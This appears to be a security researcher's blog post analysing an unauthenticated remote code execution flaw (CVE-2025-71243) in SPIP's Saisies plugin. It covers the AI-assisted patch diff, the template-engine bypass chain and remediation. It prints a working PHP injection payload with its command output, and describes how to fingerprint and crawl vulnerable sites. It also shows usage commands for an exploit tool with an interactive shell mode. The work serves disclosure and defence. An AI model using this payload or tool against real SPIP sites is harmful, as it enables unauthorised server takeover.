CVE-2025-71243: AI-Assisted Reversal of SPIP Saisies RCE in 30 Minutes

Valentin Lobstein /
Table of Contents

TL;DR

Unauthenticated Remote Code Execution in the SPIP Saisies plugin (v5.4.0 - v5.11.0) via PHP code injection through the _anciennes_valeurs form parameter. User input is interpolated directly into a PHP template rendered with interdire_scripts=false, allowing <?php ?> tags to execute server-side.

This follows the exact same exploitation pattern as CVE-2023-27372 - unsanitized form parameter injection into SPIP’s template engine, two years later.

FieldValue
CVECVE-2025-71243
SeverityCritical (CVSS 9.3)
CWECWE-94 - Code Injection
AffectedSaisies plugin 5.4.0 - 5.11.0
Fixed in5.11.1
PrerequisitePublic form powered by Saisies (typically via Formidable)

Introduction

On February 19, 2026, VulnCheck published an advisory for a critical RCE in SPIP’s Saisies plugin. No technical details. No PoC. Just a CVE ID, an affected version range, and a link to SPIP’s blog post crediting OpenStudio for the discovery.

30 minutes later, I had a fully working exploit.

The entire process - understanding the vulnerability, identifying the root cause, building a Docker lab, writing and testing the PoC - was done with AI tooling. Zero prior knowledge of the vulnerability. This post walks through the reversal process, the full exploitation chain, and a real-world impact assessment.


The Reversal Process

Starting Point: The Advisory

The VulnCheck advisory gave me three useful data points:

  • Plugin: Saisies (“form inputs”) for SPIP
  • Affected versions: 5.4.0 through 5.11.0
  • Fixed version: 5.11.1

The SPIP blog post added one more: the fix was in commit 1b1b578.

Reading the Patch

I downloaded the vulnerable version (5.11.0) and the fixed version, then diffed them. The fix was surgical - in saisies_pipelines.php, the function saisies_formulaire_charger_generer_hidden_ancienne_valeur_depubliee() had an if branch removed entirely.

The vulnerable code:

// saisies_pipelines.php
function saisies_formulaire_charger_generer_hidden_ancienne_valeur_depubliee($flux) {
    if ($anciennes_valeurs = saisies_request('_anciennes_valeurs')) {
        $encode = $anciennes_valeurs;   // User input trusted directly
    } else {
        $encode = encoder_contexte_ajax($anciennes_valeurs, $form);
    }
    return "<input type='hidden' name='_anciennes_valeurs' value='$encode' />";
}

When a user submits _anciennes_valeurs in a request, the raw value goes straight into $encode. No sanitization, no escaping. The else branch uses encoder_contexte_ajax(), which serializes data and signs it with HMAC-SHA256 using the site’s secret key - but that branch is completely bypassed when the parameter is user-supplied.

The fix removes the if branch entirely. The value is always recomputed server-side.


Deep Dive: The Full Exploitation Chain

At first glance, injecting into value='$encode' looks like reflected XSS - break out of the attribute with a single quote, inject HTML. But SPIP’s architecture turns this into something far more dangerous. There are three layers that combine to create RCE.

Layer 1: The _hidden Pipeline Bypass

The output of the vulnerable function is appended to $flux['data']['_hidden'] in the formulaire_charger pipeline:

// saisies_pipelines.php - saisies_formulaire_charger()
$flux['data']['_hidden'] .= saisies_formulaire_charger_generer_hidden_ancienne_valeur_depubliee($flux);

This matters because of how SPIP’s form loading code handles fields. In ecrire/balise/formulaire_.php, the charger phase processes all form values:

// ecrire/balise/formulaire_.php line 236
if ($champ[0] !== '_' and !in_array($champ, ['message_ok', 'message_erreur', 'editable'])) {
    // ...
    $valeurs[$champ] = protege_champ($valeurs[$champ]);
}

The condition $champ[0] !== '_' means that any field starting with an underscore skips protege_champ() entirely. The protege_champ() function is SPIP’s defense against injection in form values - it calls spip_htmlspecialchars() to escape <, >, ', ", and &:

function protege_champ($valeur, $max_prof = 128) {
    // ...
    if (is_string($valeur) and $valeur) {
        if (strpbrk($valeur, "&\"'<>") !== false) {
            return spip_htmlspecialchars($valeur, ENT_QUOTES);
        }
    }
    return $valeur;
}

So _hidden (and _anciennes_valeurs) are treated as “internal” fields that don’t need sanitization. This is the first bypass - our injected content preserves its raw < and > characters.

Layer 2: interdire_scripts = false

The _hidden field is rendered by SPIP’s #ACTION_FORMULAIRE balise in ecrire/public/balises.php:

function balise_ACTION_FORMULAIRE($p) {
    // ...
    $p->code = "'<span class=\"form-hidden\">' .
    form_hidden(\$_url) .
    '<input name=\'formulaire_action\' type=\'hidden\'
        value=\'' . \$_form . '\'>' .
    '<input name=\'formulaire_action_args\' type=\'hidden\'
        value=\'' . (\$Pile[0]['formulaire_args'] ?? '') . '\'>' .
    '<input name=\'formulaire_action_sign\' type=\'hidden\'
        value=\'' . (\$Pile[0]['formulaire_sign'] ?? '') . '\'>' .
    (\$Pile[0]['_hidden'] ?? '') .
    '</span>'";

    $p->interdire_scripts = false;  // <-- THE KEY

    return $p;
}

$Pile[0]['_hidden'] is concatenated directly into the compiled template code. And interdire_scripts is set to false.

SPIP normally runs interdire_scripts() on all template output. This function is defined in ecrire/inc/texte.php and does exactly what you’d expect:

function interdire_scripts($arg, $mode_filtre = null) {
    // ...
    // echapper les tags asp/php
    $t = str_replace('<' . '%', '&lt;%', $arg);

    // echapper le php
    $t = str_replace('<' . '?', '&lt;?', $t);

    // echapper le < script language=php >
    $t = preg_replace(',<(script\b[^>]+\blanguage\b[^\w>]+php\b),UimsS', '&lt;\1', $t);
    // ...
}

It replaces <? with &lt;?, effectively neutralizing any PHP tag injection. But when $p->interdire_scripts = false, this function is never called. The raw output goes straight through.

This isn’t a bug in isolation - _hidden is meant to contain trusted HTML generated server-side (hidden inputs for CSRF tokens, form actions, etc.). The assumption is that nothing user-controlled ever reaches _hidden. The Saisies plugin breaks that assumption.

Layer 3: Template Compilation via eval()

SPIP templates (called “squelettes”) are compiled into PHP code and executed via eval(). When the template engine encounters #ACTION_FORMULAIRE, it generates PHP code that includes the _hidden content. Since interdire_scripts is disabled, any <?php ?> tags in _hidden survive compilation and are executed by the PHP interpreter during template rendering.

The chain:

  1. User sends _anciennes_valeurs=x' /><?php system('id'); ?><input value='x
  2. Saisies plugin puts it raw into _hidden (no protege_champ because _ prefix)
  3. #ACTION_FORMULAIRE outputs _hidden with interdire_scripts=false (no PHP tag stripping)
  4. SPIP’s template engine eval()s the compiled template
  5. PHP executes system('id')

The Injection Point

Breaking out of the single-quoted value attribute:

_anciennes_valeurs=x' /><?php system('id'); ?><input value='x

The template engine renders:

<input type='hidden' name='_anciennes_valeurs' value='x' />
uid=33(www-data) gid=33(www-data) groups=33(www-data)
<input value='x' />

The injection happens during the charger (loading) phase - no form submission required. A simple POST (or even GET) request with the _anciennes_valeurs parameter is enough. No CSRF token, no session, no authentication.


CVE-2023-27372 Deja Vu

This vulnerability is structurally identical to CVE-2023-27372, which was also an unauthenticated RCE in SPIP through template injection:

CVE-2023-27372CVE-2025-71243
Vectoroubli parameter_anciennes_valeurs parameter
FormPassword reset (core SPIP)Any saisies-powered form (plugin)
Root causeUnsanitized input in templateUnsanitized input in template
Template bypassinterdire_scripts=falseinterdire_scripts=false
Auth requiredNoNo
CVSS9.89.3

Same CMS, same class of vulnerability, same exploitation technique - two years later. The core issue is that SPIP’s template engine has numerous interdire_scripts=false code paths (I counted 17 in balises.php alone) that trust certain data to be safe, and when user input reaches those paths unescaped, you get RCE.

The _ prefix convention for “internal” fields is a dangerous pattern. It creates a false sense of security - developers assume these fields are never user-controlled, but any plugin can pipe user input into them through SPIP’s pipeline system.


Prerequisites and Real-World Impact

Unlike CVE-2023-27372 which targeted SPIP’s built-in password reset form (present on every installation), CVE-2025-71243 requires a specific condition: the target must have a publicly accessible form powered by the Saisies plugin.

The Saisies plugin is rarely used standalone. It’s almost always installed as a dependency of Formidable, the most popular SPIP form builder. Sites using Formidable to create public-facing forms (contact pages, registration forms, surveys) expose the vulnerable code path.

When Does the Pipeline Activate?

The saisies_formulaire_charger pipeline hook only runs when saisies_chercher_formulaire() finds a form that declares its fields via the _saisies convention - specifically, a PHP function named formulaires_{name}_saisies_dist() that returns an array of field definitions. Standard SPIP forms (login, password reset, search) don’t use this convention.

This means the vulnerability is only reachable on pages that render a Saisies-powered form. Most commonly, these are created with the Formidable plugin, which provides a drag-and-drop form builder that generates _saisies definitions automatically.

Attack Surface

This makes the vulnerability unlikely to be widespread - but it does exist in the wild. The Saisies plugin is commonly installed as a dependency without administrators being aware of it. SPIP’s own blog post warns: “Verifiez la presence effective du plugin plutot que de vous fier a votre memoire” (check for the plugin’s actual presence rather than relying on memory).

Plugin detection is straightforward from the outside. SPIP exposes active plugins and their versions through:

  • The Composed-By HTTP header on any SPIP page (e.g. Composed-By: SPIP 4.2.3 @ www.spip.net + saisies(5.11.0),formidable(5.3.2),...)
  • The /local/config.txt file, which contains the full plugin inventory

This means an attacker can fingerprint a target’s plugin stack with a single GET request before attempting exploitation.

Form discovery is also automatable. SPIP sites expose a sitemap at /spip.php?page=plan that lists all public pages. A BFS crawl from there, checking each page for the _anciennes_valeurs hidden field, reliably identifies exploitable forms.


The Exploit

The full PoC chains all of the above into a single tool:

  1. Plugin detection via Composed-By header and config.txt - identifies if Saisies is installed and checks the version against the vulnerable range (5.4.0 - 5.11.0)
  2. Form discovery via BFS crawl starting from SPIP’s sitemap (/spip.php?page=plan) - finds pages containing forms with the _anciennes_valeurs parameter
  3. Vulnerability confirmation via PHP echo marker injection
  4. Command execution via system() with base64 encoding
  5. Interactive shell mode
# Detect plugin, crawl for forms, and check
python3 exploit.py -u http://target --crawl --check

# Execute a command
python3 exploit.py -u http://target --crawl -c "id"

# Interactive shell
python3 exploit.py -u http://target --crawl

Remediation

  • Update the Saisies plugin to version 5.11.1 or later
  • Check if Saisies is installed - it may have been pulled in as a dependency of Formidable or another plugin without your knowledge
  • Audit your disable_functions in php.ini - while it won’t prevent PHP code execution, disabling system, exec, passthru, shell_exec, and proc_open limits the blast radius
  • Broader concern: SPIP’s template engine has 17+ balises with interdire_scripts=false. Each one is a potential RCE vector if user input reaches it. Plugin developers should treat the _hidden field and other underscore-prefixed fields as security-critical output channels, not internal plumbing

Timeline

  • 2024-02-12 - Vulnerable code introduced in commit 4f84141 (v5.4.0)
  • 2026-02-19 - Advisory published on VulnCheck
  • 2026-02-19 - PoC developed in ~30 minutes (full AI-assisted reversal, same day)
  • 2026-02-19 - PoC published

References